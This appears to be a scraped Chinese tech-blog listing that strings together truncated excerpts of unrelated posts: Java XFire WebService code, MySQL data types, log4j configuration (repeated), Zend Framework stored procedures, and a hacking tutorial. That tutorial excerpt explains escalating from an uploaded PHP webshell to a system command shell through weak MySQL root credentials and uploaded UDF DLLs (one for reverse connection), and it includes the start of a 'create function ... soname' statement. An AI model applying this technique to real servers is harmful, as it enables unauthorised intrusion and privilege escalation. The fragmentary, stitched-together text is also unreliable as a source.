近来想做一个通用数据交换接口平台,所以想到使用JAVA来设计WebService,而且事先是不知道服务端在哪里的,也有可能是多个服务端的,所以客户端必须是可配置的,动态的,经过一番研究,现贴出代码,以供日后学习。
首先,确定使用XFire框架,框架的部署就不提了。
一、服务端:WebServiceTest
1、接口类
package service;
public interface IHelloWorld {
//sayHello 方法声明了Web服务对外暴露的接口
//@return
public String sayHello(String ss,int nn);
public Object[] test(Object a,Object b);
}
2、实现类
package service;
public class HelloWorldImpl implements IHelloWorld {
public String sayHello(String ss,int nn) {
// TODO Auto-generated method stub
return "你输入的字符串是:"+ss+",整数是:"+nn;
}
}
3、xml文件
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://xfire.codehaus.org/config/1.0">
<service>
......
此文章主要描述的是MySQL数据类型与建库策略的详细解析,我们大家都知道无论是在不收费的数据库空间或者是大型的电子商务网站,其合理的设计表结构、充分利用空间是十分必要的。
这就要求我们对数据库系统的常用MySQL数据类型有充分的认识。下面我就将我的一点心得写出来跟大家分享。
一、MySQL数据类型之数字类型
数字类型按照我的分类方法分为三类:整数类、小数类和数字类。
我所谓的“数字类”,就是指DECIMAL和NUMERIC,它们是同一种类型。它严格的说不是一种数字类型,因为他们实际上是将数字以字符串形式保存的;他的值的每一位(包括小数点)占一个字节的存储空间,因此这种类型耗费空间比较大。但是它的一个突出的优点是小数的位数固定,在运算中不会“失真”,所以比较适合用于“价格”、“金额”这样对精度要求不高但准确度要求非常高的字段。
小数类,即浮点数类型,根据精度的不同,有FLOAT和DOUBLE两种。它们的优势是精确度,FLOAT可以表示绝对值非常小、小到约1.17E-38(0.000...0117,小数点后面有37个零)的小数,而DOUBLE更是可以表示绝对值小到约2.22E-308(0.000...0222,小数点后面有307个� ......
S- serv提权方式人人都会用了,搞得现在的主机都配置得非常安全,看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一,还有其他的 pcanywhere获取密码,替换服务,等等。但是现在也没这么好搞了,随着安全意识的提高,之前的方式估计不怎么管用,现在我给大家介绍一下一种新的提权方式,看过古典LM做的那动画的朋友都知道吧?利用MYSQLl弱口令拿到系统权限,在WEBSHEL上也可实现,不过有个前提,就是目标主机装有 MYSQL,而你又知道MYSQL的用户和密码,才可以进行提权。WEBSHELL获得了,找用户和密码也不是什么难事。现在我拿我另外一台机器做示范,已经把PHPSHELL传上去了,一般来说连接MYSQL的帐户密码很好找,随便编辑一个PHP文件,就看到了。
看到了吧,用户名:root 密码:123456 库名:php 然后怎么办呢?先用SQL Query 建立连接,哈连接成功了,现在开始将我们的提权用滴东东:Mix.dll My_udf.dll上传上去先.OK,传好了,Mix.dll用于反弹连接,My_udf.dll是正向连接,直接用连接对方的3306端口然后输入密码就可获得CMDSHELL。好,不多说了,传上去之后呢就执行以下SQL语句
create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll';&nbs ......
首先建一个工程,准备好一个log4j的jar包和连接MySqL的驱动包。配置如下:
修改log4j.properties文件:
######## #此句为定义名为stdout的输出端是哪种类型,可以是
#org.apache.log4j.ConsoleAppender(控制台),
#org.apache.log4j.FileAppender(文件),
#org.apache.log4j.DailyRollingFileAppender(每天产生一个日志文件),
#org.apache.log4j.RollingFileAppender(文件大小到达指定尺寸的时候产生一个新的文件)
#org.apache.log4j.WriterAppender(将日志信息以流格式发送到任意指定的地方)
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
#此句为定义名为stdout的输出端的layout是哪种类型,可以是
#org.apache.log4j.HTMLLayout(以HTML表格形式布局),
#org.apache.log4j.PatternLayout(可以灵活地指定布局模式),
#org.apache.log4j.SimpleLayout(包含日志信息的级别和信息字符串),
#org.apache.log4j.TTCCLayout(包含日志产生的时间、线程、类别等等信息)
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
#如果使用pattern布局就要指定的打印信息的具体格式ConversionPattern,打印参数如下:
#%m 输出代� ......
在Zend FrameWork中调用mysql的存储过程方法如下:
$db = Zend_Db::factory($sql_DbType,$sql_Config);
$connection=$db->getConnection();
Zend_Registry::set("db",$db);
Zend_Registry::set("connect",$connection);
调用存储过程如下代码所示:
$this->_db = Zend_Registry::get('db');
$connection=Zend_Registry::get("connect");
$connection->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY,true);
$prev_next_rs=$this->_db->query('call moretableSelect();')->fetchAll(); ......
首先建一个工程,准备好log4j的jar包和MysqL的驱动包。
配置log4j.properties文件:
#此句为定义名为stdout的输出端是哪种类型,可以是
#org.apache.log4j.ConsoleAppender(控制台),
#org.apache.log4j.FileAppender(文件),
#org.apache.log4j.DailyRollingFileAppender(每天产生一个日志文件),
#org.apache.log4j.RollingFileAppender(文件大小到达指定尺寸的时候产生一个新的文件)
#org.apache.log4j.WriterAppender(将日志信息以流格式发送到任意指定的地方)
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
#此句为定义名为stdout的输出端的layout是哪种类型,可以是
#org.apache.log4j.HTMLLayout(以HTML表格形式布局),
#org.apache.log4j.PatternLayout(可以灵活地指定布局模式),
#org.apache.log4j.SimpleLayout(包含日志信息的级别和信息字符串),
#org.apache.log4j.TTCCLayout(包含日志产生的时间、线程、类别等等信息)
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
#如果使用pattern布局就要指定的打印信息的具体格式ConversionPattern,打印参数如下:
#%m 输出代码中指定� ......